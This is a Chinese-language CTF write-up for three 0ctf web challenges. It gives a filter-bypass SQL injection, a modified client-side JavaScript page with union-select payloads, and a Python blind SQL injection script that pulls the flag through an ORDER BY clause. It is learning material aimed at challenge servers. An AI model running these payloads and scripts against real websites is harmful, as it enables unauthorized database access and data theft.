0ctf 部分web writeup.md

simplesqlin

這個題嘗試點擊,注入點是id,發現他把一些關鍵字符過濾了,如selectfrom 等,那樣經過查找資料,可利用/**/00%0b繞過過濾,經過嘗試%00%0b都可以,那樣構造payload
得到數據庫news
這裏寫圖片描述

得到表flag
這裏寫圖片描述

得到列flag
這裏寫圖片描述

最終得到flag
這裏寫圖片描述

KoG

King of Glory is a funny game. Our website has a list of players.

查看源碼,是一道關於js的題

function GetUrlParms()
{
    var args=new Object();
    var query=location.search.substring(1);
    var pairs=query.split("&");
    for(var i=0;i<pairs.length;i++)
    {
        var pos=pairs[i].indexOf('=');
        if(pos==-1) continue;
        var argname=pairs[i].substring(0,pos);
        var value=pairs[i].substring(pos+1);
        args[argname]=unescape(value);
    }
    return args;
}
function go()
{
    args = GetUrlParms();
    if(args["id"]!=undefined)
    {
        var value = args["id"];
        var ar = Module.main(value).split("|");
        if(ar.length==3)
        {
            var s = "api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];
            $(document).ready(function(){
              content=$.ajax({url:s, async:false});
              $("#output").html(content.responseText);
            });

        }
        if((ar.length==1)&(ar[0]=='WrongBoy'))
        {
            alert('Hello Hacker~');
        }
    }
}

var wait = setInterval(function(){if(Module.main != undefined){clearInterval(wait);go();}}, 100);

這個當你輸入帶有敏感的字符,便會返回wrongBoy,並彈窗

這樣的話,只要利用chrome進行單步調試,將不一樣的判斷語句除掉就可以

通過不間斷的調試,可知道第一個不一樣的地方,這時將$13true就可以

第二個位置就是$42的值,當正確的時候$42true,致使label0,而錯誤的時候label12進入中斷,這樣只要使if(0)就可以
之後就能正常的注入了,不過由於同源策略的原因,異步請求交不過去,所以把源碼改成如下

<!DOCTYPE html> <html> <head> <title>King of Glory Player List</title> </head> <body> <script
  src="https://code.jquery.com/jquery-3.1.1.min.js"
  integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
  crossorigin="anonymous"></script> <script src="function1.js"></script> <script type="text/javascript">
function GetUrlParms()
{
    var args=new Object();
    var query=location.search.substring(1);
    var pairs=query.split("&");
    for(var i=0;i<pairs.length;i++)
    {
        var pos=pairs[i].indexOf('=');
        if(pos==-1) continue;
        var argname=pairs[i].substring(0,pos);
        var value=pairs[i].substring(pos+1);
        args[argname]=unescape(value);
    }
    return args;
}
function go()
{
    args = GetUrlParms();
    if(args["id"]!=undefined)
    {
        var value = args["id"];
        var ar = Module.main(value).split("|");
        if(ar.length==3)
        {
            var s = "http://202.120.7.213:11181/api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];
            window.location.href=s;
            $(document).ready(function(){
              content=$.ajax({url:s, async:false});
              $("#output").html(content.responseText);
            });

        }
        if((ar.length==1)&(ar[0]=='WrongBoy'))
        {
            alert('Hello Hacker~');
        }
    }
}

var wait = setInterval(function(){if(Module.main != undefined){clearInterval(wait);go();}}, 100);

</script> <center><h1>King of Glory Player List</h1></center> <center><div id="output"><h2>hmmmm</h2></div></center> </body> </html>

function1.js就是我們調整過得,接下來就能正常的發送請求了。

發現服務端並沒有再進行過濾了,然後由這個payload

id=1 order by 2

確定是2列了。
然後開始爆破
表名有fl4g,user
fl4g列名就一個hey
所以

?id=1 and 1=2 union select 1,hey from fl4g

拿到flag。
這裏寫圖片描述

Temmo’s Tiny Shop

Enjoy online shopping? It’s so convenient, and I like it very much.

這是一道條件競爭的題,當有錢後買hint

select flag from ce63e444b0d049e9c899c9a0336b3c59

這明顯就是注入題,首先找注入點在哪
發現在搜索的orderby處
這裏寫圖片描述

這裏寫圖片描述

通過if語句進行逐字判斷

腳本

import requests
import string 

dic=string.ascii_letters+'0123456789~!*()-{}_'
r=requests.session()
url = 'http://202.120.7.197/app.php'  
header={"Cookie":"PHPSESSID=3lqjrmgiuurlnmgerokt0kk8o6"}

def sendsort(TEMPLATE):  
    data = TEMPLATE
    #print data
    content=r.get(url+data,headers=header).content
    if content.find('"id":"5"')>content.find('"id":"2"'): 
        return 1  
    else:  
        return 0   
TEMPLATE = "?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%d,1)like(%s),price,name)"
flag = []  

for i in range(1,40):
    for j in dic:
        print j,
        if sendsort(TEMPLATE%(i,hex(ord(j)))) == 1:
            print 'ok' 
            flag.append(j)
            break
        else:
            print 'no'

print 'Flag:',''.join(flag)  

得到flag
這題好坑,爆出來好多_%,還不區分大小寫
這裏寫圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章